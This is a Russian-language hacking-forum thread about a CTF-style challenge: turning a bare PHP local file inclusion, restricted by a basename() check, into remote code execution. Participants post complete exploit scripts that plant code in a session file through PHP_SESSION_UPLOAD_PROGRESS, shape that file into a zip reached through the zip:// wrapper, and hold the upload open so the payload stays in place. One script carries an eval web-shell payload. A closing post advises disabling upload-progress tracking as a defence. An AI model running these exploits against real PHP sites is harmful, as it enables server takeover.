Добьем тему. Предлагается найти RCE для не очень частой, но довольно тупиковой ситуации, когда есть "голая" LFI, без возможности заливки файлов, без доступа к логам или чему-либо полезному, сессия не стартована. В конце прошлого года известные китайцы (тайванцы) показали, что задача решаема. И не то, чтобы решение было "кривое", нормальное решение, но мы сделаем круче. Сможем обойти более сложную проблему , когда проверяется расширение файла, или даже конкретное имя, или еще и путь до файла. Для минимизации времени на поиски вариантов все скрипты с сайта убраны, оставлен только один (и почищен) - не промахнетесь. В нем строка: Code: if(isset($_GET['f']) && basename($_GET['f'])==='test.php') include($_GET['f']); Настройки сайта почти дефолтные, но Code: open_basedir /var/www/:/var/lib/php/sessions:/tmp и порезаны исходящие соединения (без вариантов, инклюд возможен только локальный). Задание: 1 - Выполнить на таргете phpinfo(). 2 - Отдельно будет оцениваться удобство эксплуатации, мы сделаем "конфетку" - надежное 100% срабатывание, без всяких гонок. Срок: две недели. Отлаживаться можно и локально, способы универсальные, работают и в никсах и на винде. Скрипт в аттаче. Флагов нет, присылайте решения в ПМ форума. И сканеры не нужны, не помогут. Никаких секретных каталогов, файлов - нет. Даже картинка тут не при делах. Правила остаются прежними: В теме не флудим, подсказки разрешены только от ТС, ответы присылаем в ПМ. Прошли: =HALK= 1, 2 nix_security 1, 2 Gorbachev 1, 2 joelblack 1 Прохождения
По поводу тестов на локалке, проверено для php 7. Судя по манам, должно работать с версии 5.4, но нужно проверять. = upd Для 5.5.20 тоже работает, подтверждаю.
Не знаю, как здоровый зеленый мужик попадает в клавиатуру, но в решение он попал. И довольно неплохо. nix_security тоже зарешал, реализацию еще можно допиливать, но уже вполне прилично. Вот даже пришлось выкатить неожиданную полторашку. Почти уверен - он тоже добьет.
Давайте подумаем, как решать такую задачу. Раньше мы бы пытались сбрутить темп-файл, который создается при загрузке файла. Ну м.б. по сегфолту положили его не временным а постоянным. Надеюсь никто не будет мучить сервер таска таким поиском. Кстати, один наш общий знакомый недавно подтвердил работоспособность такого решения, возможно он еще отпишется, хотя именно он и заставил меня поискать альтернативное решение. И сегодня мы уже можем зайти с другой стороны. Решение складывается из трех пазлов, по двум уже даны подсказки, одна аж прям почти открытым текстом, вторая пытается быть не такой прямой, а осторожно указывает на блог Orange, который и сам по себе интересен, да еще дает нам новый механизм работы с сессиями, даже когда они не стартованы явно. Полезная вещь, если пропустили ее, рекомендую потестить и разобраться. На рдоте тоже есть подходящий пост. Сложив две технологии мы зарешаем первый пункт таска. Второй пункт - просто сделаем решение технологичным, надежным и удобнымным в эксплуатации.
Наверное зацеплюсь за мысль и скажу такую штуку: Вот мы приходим в ИБ и видим много разных вещей, новых, крутых, невероятных. Учимся пользоваться ими. Но все время остается дистанция, между нами и теми, кто это ресерчил и отлаживал, наполнял содержанием то, что мы называем хакерскими технологиями. Они крутые, а мы только учимся. Но вот сейчас хороший момент, когда можно почувствовать, что мир становится "меньше" и уже не так далеко до тех, кто творит хакерскую историю. А может расстояния остались теми же, а мы выросли. В любом случае мы сейчас делаем то, что пока еще никто в мире не умеет делать. Никто, кроме нас. А мы уже научились выпиливать лобзиком хитрые архивы и сейчас из обычной сессии приготовим еще один такой. С нужным нам содержанием, с нужным именем. И не из-за ошибок в коде скриптов, а в дефолтной системе. Пусть это и не похек интернета, но некоторая новая технология, у которой есть потенциал, а возможно и история с продолжением. Поэтому предлагаю не ждать, когда появятся ответы, а найти их в составе команды первопроходцев.
Вот за что нравятся задачки дубля, так это за то что там нет воды: вот тебе готовая, популярная проблема, реши ее. И хорошо подвел к ее решению предыдущим заданием. Осталось сложить а+б. Идеально для новичков, самый недооцененный таск.
a - https://blog.orange.tw/2018/10/hitcon-ctf-2018-one-line-php-challenge.html или http://wonderkun.cc/index.html/?p=718, нас интересует принудительное создание сессии с нужной начинкой. б - поскольку в имени сессии точка недопустима, смотрим https://forum.antichat.ru/threads/470693/ Ну и, как посоветовал Лайт, соединяем технологии a + б.
Спасибо за таск, очень понравился, читал ресерч оранжа ранее, было интересно воспроизвести его, да еще и в купе с "штукой" из таска7)
Прохождение Анализ: Поскольку логи недоступны и на сайте нет скриптов аплоада, ищем способы сформировать файл с полезной нагрузкой. Open_basedir разрешает работу в /tmp и в каталоге сессий, а в каталог сайта чмоды писать не дают, да и нечем. Можем инициировать загрузку файла и пытаться сбрутить имя создающегося темп-файла. Но в конце прошлого года был обнаружен более интересный механизм, попробуем поковырять его. Идея: Можно задействовать механизм принудительного создания сессии и проинклюдить ее. Затею нетрудно реализовать в системе с дефолтными настройками, на рдоте тоже была заметка на эту тему, поэтому не экзотика, тестим и разбираемся - чего и как. Для начала смотрим маны и готовим localhost, php v. >=5.4 и для удобства временно установим Code: session.upload_progress.cleanup = Off это не будет очищать сессию и мы сможет исследовать содержимое. Отправляем запрос Code: curl http://127.0.0.1/index.php -H "Cookie: PHPSESSID=test" -F "PHP_SESSION_UPLOAD_PROGRESS=blahblahblah" -F "file=@/tmp/up.txt" и получаем сессию с именем sess_test и содержимым (интересует только начало) Code: upload_progress_blahblahblah|a:5:{s:10:"start_time";i:1561714798;s:14:"content_length";i:297312;s:15:"bytes_processed";i:297312;s:4:"done"; Где видим свою начинку blahblahblah. Т.е. можем вставить произвольный php-код и получаем файл с заданным именем и нужной начинкой Code: <? session_start(); ?> <form action="index.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="ZZ<?print(base64_decode('PD9waHBpbmZvKCk7Pz4='));?>Z"/> <input type="file" name="file"/> <input type="submit" /> </form> Code: upload_progress_ZZ<?phpinfo();?>Z|a:5:{s:10:"start_time";i:1561718417;s:14:"content_length";i:6931748;s:15:"bytes_processed";i:6931748;s:4: Первая полезняшка. Теперь возвращаем session.upload_progress.cleanup = On и двигаемся дальше. Если бы не Code: if(isset($_GET['f']) && basename($_GET['f'])==='test.php') то просто проинклюдили бы сессию с заранее заданным именем, но нужно байпасить basename(). Тут, к сожалению, известные приемы закончились и дальше придется ресерчить самим. Назвать сессию - 'test.php' мы не можем, точка - недопустимый символ в имени сессии. Поэтому вспоминаем, как в таске #7 мы работали с архивами и помещали в них нужные файлы, как продолжение файловой системы. И basename() будет применен уже не к файлу архива, а к этим файлам, когда мы их запросим. Если контролируемую часть сессии сформировать так, чтобы файл сессии стал валидным архивом, то можно проинклюдить содержимое архива, используя соответствующий враппер. Мысль хорошая, тестим. Phar не подходит по двум причинам - проверяет целостность содержимого и в имени файла обязательно должна быть точка (и хотя бы один символ после нее). Но вот zip нам пригодится. Мы уже умеем добавлять произвольный префикс к нему, да и точка в имени не обязательна. Аналогично можно добавить и суффикс, но этого делать не придется, потому, что есть еще одно замечательное свойство - добавление данных в конец готового архива не ломает его, он их просто игнорирует, не видит. И эти данные становятся частью файла, но не частью архива. Итого имеем неизменяемое начало файла, заголовок сессии (из которого и сформируем архив) и остальную, изменяемую часть сессии. И вот она - магия! Один и тот же файл воспринимается одновременно и как валидный архив с полезной начинкой и как файл сессии, с которым адекватно работает php. Остается решить третью проблему, сессия очищается по окончании загрузки файла и нужно ловить момент, когда полезная начинка существует в файле сессии. Если мониторить размер файла сессии, то происходит примерно следующее, пока работает скрипт загрузки. ---=======----- где: - сессия пуста = файл сессии содержит полезную начинку Можно просто поиграть в гонки, сгенерить много загрузок и много инклюдов, какой-нибудь да сработает. Можно даже один раз запустить загрузку большого файла и множеством запрсов ловить нужное состояние сессии. Мы примерно по этому пути и пойдем, но сделаем процесс более контролируемым и надежным. Реализация Php - однопоточный по своей природе, а нам нужно два потока запускать и контролировать, поэтому лучше использовать чего-нибудь другое. Хотя и тут можно скозлоумничать. На неблокирующих сокетах, или попробовать мультикурл. А давайте попробуем. Оказывается вполне даже работает. Инициируем два соединения, первое аплоадит файл, второе инклюдит сессию через враппер. Code: curl_setopt($ch1, CURLOPT_URL,$url1); curl_setopt($ch2, CURLOPT_URL,$url2); Приведу несколько модифицированное решение, не потому, что оно лучше, а чтобы показать, что в момент, когда мультикурл переключается между соединениями (цикл do while), мы можем выполнять некоторые дополнительные действия (проверки), что может быть полезным и в других случаях, а нам сейчас дает возможность отловить состояние, когда файл сессии содержит нужные данные. Code: <?php $fup='/tmp/up.txt'; file_put_contents($fup,str_repeat('-=task=- ',5000)); $u='http://task.antichat.com:10008/?f=zip:///var/lib/php/sessions/sess_task8%23/tmp/test.php'; $p=[ 'PHP_SESSION_UPLOAD_PROGRESS' => getshell(), 'file' => new CurlFile($fup), ]; mpmc($u,$p); #=== function mpmc($url,$post=array(), $cookie='PHPSESSID=task8') { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_TIMEOUT, 18); curl_setopt($ch,CURLOPT_POST,1); curl_setopt($ch,CURLOPT_POSTFIELDS,$post); curl_setopt($ch, CURLOPT_COOKIE,$cookie); $mh = curl_multi_init(); curl_multi_add_handle($mh,$ch); $running=null; do { curl_multi_exec($mh, $running); $fg = @file_get_contents($url); if (strlen($fg)>1000) { echo $fg; die; } } while ($running > 0); curl_multi_remove_handle($mh,$ch); curl_multi_close($mh); } #=== function getshell(){ $evil_code='<?php phpinfo();?>'; $header=ini_get("session.upload_progress.prefix"); $footer=""; $local_path_to_archive="/tmp/test.zip"; $inc_file="/tmp/test.php"; @unlink($local_path_to_archive); file_put_contents($inc_file,$evil_code); $zip = new ZipArchive(); if ($zip->open($local_path_to_archive, ZIPARCHIVE::CREATE)!==TRUE) { exit("could not open file $local_path_to_archive\n"); } $zip->addFromString($header,""); $zip->setArchiveComment($footer); $zip->addFile($inc_file,"/tmp/test.php"); $zip->close(); @unlink($inc_file); $r=preg_replace("/$header/si", "", file_get_contents($local_path_to_archive),1); return $r; } Здесь curl_setopt($ch2, CURLOPT_URL,$url2); выпилен, поскольку в проверке уже используется file_get_contents($url), а мультикурл все-равно производит переключение, даже если второе соединение отсутствует. Кстати, в процессе тестов обнаружился такой момент, пустил соединение через прокси Charles и поведение сессии на сервере таска изменилось, файл сессии не очищался еще продолжительное время после окончания работы скрипта загрузки. Так что просто последовательное выполнение запроса загрузки и следом запроса на инклюд - работало на ура. Без всякого шаманства. Не "конфетка", но тоже интересно.
Очень хороший таск. Как по мне, данная реализация в определенной степени зиродейная, и уж точно в паблике уникальная. Но действительно таск, и технология как уже писал Лайт, недооцененная. Хочу отметить несколько интересных моментов, которые я видел в процессе отладки. Когда решал первый пункт, я тупо воспользовался питоновским скриптом от Orange, который чутка подпилил под таск, и сначала отлаживался у себя на VPS, и в какой то момент остановив бесконечный цикл в питоновском скрипте - созданная сессия со всем содержимым перманентно осталась на сервере. Полагаю, речь про уже упомянутый сегфолт. Но причину его появления, и как его вызвать в нужный момент, мне кажется искать нужно более глубже, в сорцах PHP, а тут мои полномочия уже как бы всё © По второму пункту, вот там уже начался хардкор. Связываться с питоном, и писать на нем решение не очень хотелось, поэтому ковырял возможности реализовать на однопоточном php, и вместо мультикурла решил воспользоваться вызовом системных команд. Я для удобства у себя поставил в скрипт: Code: $file = '/var/lib/php/session/sess_iamorange'; if(file_exists($file)) { echo file_get_contents($file); } И в процессе аплоада + обращению к скрипту наблюдал содержимое sess_iamorange. В общем суть такая, что у меня на моей VPS создавалась сессия, и была доступна для инклуда всего за 2 запроса, без всяких циклов. Пример кода: Code: shell_exec('curl http://my.vps -H \'Cookie: PHPSESSID=iamorange\' -F \'PHP_SESSION_UPLOAD_PROGRESS=ZZtestZ\' -F \'file=@/etc/passwd\' > /dev/null 2>/dev/null &'); $post = array( 'PHP_SESSION_UPLOAD_PROGRESS' => 'any_text', 'file' => '@/etc/passwd' ); echo curl_post('http://my.vps',$post); Суть кода, посылаем через системный курл спец запрос, не дожидаемся от курла ответа, фигачим второй запрос на php курле, и наблюдаем содержимое sess_iamorange Т.е. данным кодом, который я посылал с одного сервера на сервер своей VPS, я видел гарантированное срабатывание, создание, и подхватывание сессии. А вот попробовав откуда-то ещё послать такой же запрос на свою VPS - уже не срабатывает. Я полагаю, тут имеют место быть "тайминги", т.е. по микросекундам с двух серверов было идеальное совпадение, которое и позволило всего двумя запросами создать и проинклудить сессию. Как мне кажется, в эту сторону ещё можно поковырять, и возможно найти способ решения представленной задачи всего за 2 HTTP запроса, без всяких циклов и подгадываний размеров файла, так как посылая в одном потоке запрос: Code: shell_exec('curl http://my.vps -H \'Cookie: PHPSESSID=iamorange\' -F \'PHP_SESSION_UPLOAD_PROGRESS=ZZtestZ\' -F \'file=@/etc/passwd\' > /dev/null 2>/dev/null &'); Мы всегда имеем один и тот же результат в bytes_processsed + в content_length. Да, понятное дело, что для .zip хвост неактуален, но возможно будет критичен для других реализаций чего-либо на основе принудительной сессии. По факту я не доковырялся до истины, и реализовал свой колхозный вариант на основе циклов + системной команды в качестве второго потока, который кое как работал.
Последнее, о чем не сказали: Отслеживание прогресса загрузки файлов с помощью сессий - не такая уж востребованная операция, чтобы в свете обнаруженных возможностей (а есть и другие идеи использования, надо тестить) в настройках php по дефолту иметь значение session.upload_progress.enabled = On - выглядит неоправданным риском. И пока разработчики php еще не пришли к этому пониманию, рекомендуется на своих проектах самим выставить это значение в Off. При проведении аудитов и пентестов, кстати, в отчете тоже можно рекомендовать такую настройку.
Представилась возможность более плотно поковырять эту фичу, поэтому могу тоже немного поделиться своими ислледованиями. PHP_SESSION_UPLOAD_PROGRESS как и задумано, исправно мониторит прогресс загрузки файла от клиента на сервер, скидывая данные в файл сессии для дальнейшей (возможной) обработки. Поэтому, как верно заметил @dooble, если файл большой, то время жизни "полезного" файла будет увеличиваться и тогда есть 100% шансы выйграть эту гонку за пару запросов. Но нам так же ничего не мешает, растянуть передачу маленького файла на большой промежуток времени. Поэтому, осмелюсь предположить, что вот эти странные явления: ничто иное как подвисший или медленный коннект. Вполне нормальный, жизненный кейс, когда у клиента замедлился интернет, ведь по сути для этого и нужен отображаемый прогресс загрузки, чтоб было веселей ждать В общем, немного пошаманив, пришёл к такому варианту, где не досылается последний байт: PHP: <?php $ssl = false; $ip = ''; $host = 'localhost'; $path = '/task8/index.php'; $session_name = 'include-me-please'; $payload = '<?=@eval($_REQUEST[\'code\']);?>'; $scheme = ($ssl ? 'ssl://' : ''); $EOL = "\r\n"; $body = ''; $body.='-----------------------------xxxxxxxxxxxx'.$EOL; $body.='Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"'.$EOL; $body.= $EOL; $body.= $payload.$EOL; $body.='-----------------------------xxxxxxxxxxxx'.$EOL; $body.='Content-Disposition: form-data; name="file"; filename="tricky_file.is"'.$EOL; $body.='Content-Type: text/plain'.$EOL; $body.= $EOL; $body.= str_repeat('A', 1024*1000).$EOL; $body.='-----------------------------xxxxxxxxxxxx--'; $header ='POST '.$path.' HTTP/1.1'.$EOL; $header.='Content-Type: multipart/form-data; boundary=---------------------------xxxxxxxxxxxx'.$EOL; $header.='User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:56.0) Gecko/20160101 Firefox/56.0'.$EOL; $header.='Host: '.$host.$EOL; $header.='Cookie: PHPSESSID='.$session_name.$EOL; $header.='Content-Length: '.(strlen($body)).$EOL; $header.='Connection: close'.$EOL.$EOL; $fp = stream_socket_client($scheme.($ip ? $ip : $host).':'.($scheme ? 443 : 80), $errno, $errstr, 30); fwrite($fp, substr($header.$body, 0, strlen($header.$body) - 1)); print $EOL.'Session file name is: sess_'.$session_name.$EOL.'Hurry up :)'.$EOL; sleep(1000);?> Никаких гонок при этом нет, файл лежит очень долго. По моим наблюдениям, до обрыва соединения, т.к. ждать больше получаса не хотелось По хорошему, этот "плохой" коннект должен обрываться по таймауту и возможно тут присутствует задел на развитие/усиление DOS, но это не в кассу. Вариант получился сильно похожий на решение от @nix_secutiry, но уже в более универсальном варианте. Который будет удерживать файл, столько, сколько потребует ваш вектор.
